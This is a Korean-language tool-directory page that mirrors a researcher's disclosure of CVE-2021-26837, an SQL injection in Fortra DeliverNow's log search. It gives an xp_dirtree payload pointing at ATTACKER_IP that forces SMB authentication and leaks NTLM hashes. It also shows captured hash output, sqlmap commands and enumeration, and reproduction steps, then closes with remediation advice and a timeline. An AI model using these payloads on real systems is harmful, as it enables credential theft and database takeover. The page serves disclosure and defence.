Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-26837 — CVE-2021-26837 - SQL Injection in the SearchTextbox parameter of HelpSystems/Fortra DeliverNow. Payloads, annotated requests, and evidence. Fixed in 1.2.18. | Kitploit
도구/GitHubGitHub/l0lsec/cve-2021-26837
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPenetration Testing
GitHubl0lsec/cve-2021-26837

CVE-2021-26837

CVE-2021-26837 - SQL Injection in the SearchTextbox parameter of HelpSystems/Fortra DeliverNow. Payloads, annotated requests, and evidence. Fixed in 1.2.18.

저장소 보기
25일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

CVE-2021-26837

HelpSystems / Fortra DeliverNow의 SQL 인젝션

DeliverNow의 로그 검색 페이지(/LogGrid.aspx)에 있는 SearchTextbox 매개변수는 매개변수화나 서버 측 검증 없이 SQL Server 쿼리에 직접 연결됩니다. 또한 애플리케이션은 결과로 발생한 SQL Server 파서 오류를 사용자에게 그대로 표시했는데, 이것이 처음에 버그가 발견된 방식입니다.

데이터베이스 연결은 sa 권한으로 실행되었으므로 인젝션은 인스턴스에 대한 전체 sysadmin 권한을 상속했습니다. 이것으로 공격자가 제어하는 UNC 경로에 대해 master.dbo.xp_dirtree를 호출하고 SQL Server 서비스 계정이 아웃바운드 인증을 수행하도록 강제하기에 충분했습니다.

내부 침투 테스트 중 발견되었습니다. 공급업체가 DeliverNow 1.2.18에서 수정했으며 CVE-2021-26837로 게시되었습니다.

Show Up Show Out Security의 Sedric Louissaint가 발견 및 보고했습니다.


요약

CVECVE-2021-26837
제품DeliverNow (HelpSystems, 현재 Fortra)
영향을 받는 버전1.2.18 미만 (원래 권고에는 1.2.18 및 이전 버전으로 나열됨)
취약점 유형CWE-89: SQL 인젝션
CVSS 3.1 (NVD)9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2 (연구자)9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
게시일2023-09-19
테스트 환경Windows Server 2019 Datacenter 10.0 (x64), SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64)

NVD 설명:

Fortra (이전 HelpSystems) DeliverNow 1.2.18 미만 버전의 SearchTextBox 매개변수에서 SQL 인젝션 취약점으로 인해 공격자가 임의 코드를 실행하고, 권한을 상승시키며, 중요한 정보를 획득할 수 있습니다.

기술적 상세

인젝션 지점

POST /LogGrid.aspx, 본문 매개변수 SearchTextbox. 이 폼은 애플리케이션의 로그 보기에 있는 검색 컨트롤입니다. ddlFieldName은 검색할 열을 선택하고(아래 요청에서 Description), SearchTextbox는 검색어를 전달합니다.

작은따옴표 하나만으로도 증명할 수 있습니다:

root@kitploit:~
blah'

응답은 SQL Server 파서 오류를 페이지에 직접 렌더링합니다:

root@kitploit:~
Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.

따옴표가 닫히지 않은 오류를 반환하는 로그 검색

이 오류 공개 자체도 하나의 발견입니다. 이로 인해 블라인드 인젝션이 완전히 대화형으로 전환됩니다.

xp_dirtree를 통한 대역 외 확인

연결이 sa 권한으로 실행되므로 master.dbo.xp_dirtree에 접근할 수 있습니다. 이를 사용자가 제어하는 호스트의 UNC 경로로 지정하면 SQL Server 서비스 계정이 SMB를 통해 해당 호스트로 아웃바운드 인증을 수행합니다:

root@kitploit:~
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

검색 상자에 입력된 페이로드

전체 요청은 poc/exploited-request.http에, 페이로드는 poc/payloads.sql에 있습니다.

악용된 HTTP 요청

캡처된 인증

Impacket의 smbserver.py가 수신 대기 중일 때, 대상의 SQL Server 서비스 계정이 인증을 수행하고 NTLMv2 해시가 유출됩니다:

root@kitploit:~
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

Impacket으로 캡처된 강제 인증

이 해시는 오프라인 크래킹이나 다른 호스트로의 NTLM 릴레이에 사용할 수 있습니다.

권한 컨텍스트

sqlmap이 인젝션과 권한 수준을 확인합니다:

root@kitploit:~
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

현재 사용자 sa를 보여주는 sqlmap 열거

sa 권한이므로 인스턴스의 모든 로그인 해시를 읽을 수 있으며, xp_cmdshell은 sp_configure 호출 한 번으로 호스트에서 명령 실행이 가능합니다.

재현

귀하가 소유하거나 테스트 권한이 있는 랩 인스턴스에서:

  1. DeliverNow 웹 UI(기본값 http://<host>:1080/)로 이동하여 로그를 엽니다.
  2. 검색 상자에 blah'를 입력하고 제출합니다. 취약한 빌드는 SQL Server 파서 오류를 페이지에 렌더링합니다.
  3. 대상이 접근할 수 있는 호스트에서 리스너를 시작합니다:
    root@kitploit:~
    sudo smbserver.py c . -smb2support
    
  4. poc/payloads.sql에서 xp_dirtree 페이로드를 사용자 IP로 대체하여 제출합니다. 취약한 빌드는 SQL Server 서비스 계정으로부터 인바운드 SMB 인증을 생성합니다.
  5. 선택적으로 저장된 요청을 사용하여 sqlmap으로 확인합니다:
    root@kitploit:~
    sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
    

저장소 내용

root@kitploit:~
poc/
  payloads.sql            SearchTextbox에 대한 탐지 및 대역 외 페이로드
  exploited-request.http  sqlmap -r에 사용할 전체 POST 요청
  sqlmap.md               sqlmap 호출 및 예상 출력
media/
  01-sql-error-in-log-search.png
  02-xp-dirtree-payload-in-searchtextbox.png
  03-forced-auth-captured-impacket.png
  04-sqlmap-sa-enumeration.png
  05-exploited-http-request.png

캡처에 있는 호스트와 해시는 원래 엔게이지먼트에서 사용된 것이며 오래되어 사용할 수 없습니다. 재현 시에는 자체 리스너 주소로 대체하십시오.

수정 방법

  1. 사용자 입력에서 작성되는 모든 쿼리에 매개변수화된 쿼리/준비된 문을 사용하십시오. 이것이 실제 수정입니다. 다른 모든 것은 심층 방어입니다.
  2. 서버 측에서 검증하고 삭제(sanitise)하십시오. POST 본문은 클라이언트 측 양식에서 허용하는 내용과 관계없이 공격자가 완전히 제어할 수 있습니다.
  3. sa 권한으로 연결하지 마십시오. 애플리케이션은 자체 테이블에 대한 읽기 및 쓰기 액세스만 필요합니다. sysadmin 권한이나 xp_dirtree가 필요하지 않습니다. 최소 권한 원칙은 인젝션을 방지하지는 못했지만, 피해를 제한했을 것입니다.
  4. 데이터베이스 오류를 사용자에게 표시하지 마십시오. 서버 측에서 기록하고 일반적인 메시지를 반환하십시오.
  5. 네트워크 경계에서 데이터베이스 서버로부터의 아웃바운드 SMB를 제한하십시오. 이렇게 하면 여기서 사용된 대역 외 채널이 차단됩니다.

공급업체가 DeliverNow 1.2.18에서 수정했습니다. 업그레이드하십시오.

타임라인

날짜이벤트
2021내부 침투 테스트 중 발견되어 HelpSystems에 보고됨
2021DeliverNow 1.2.18에서 수정됨
2023-09-19CVE-2021-26837이 NVD에 게시, 9.8 Critical 점수 부여

관련 글

  • 개인 계정: https://sedriclouissaint.com/blog/delivernow-sql-injection-cve-2021-26837/
  • Show Up Show Out Security: https://susos.co/blog/sqlnow-sql-injection-in-delivernow-cve-2021-26837

면책 조항

공급업체의 수정 이후 방어 및 교육 목적으로 게시되었습니다. 여기에 있는 페이로드는 수년 전에 패치된 버전을 대상으로 합니다. 소유하지 않거나 서면 승인을 받지 않은 시스템에서 실행하지 마십시오.

도구 다운로드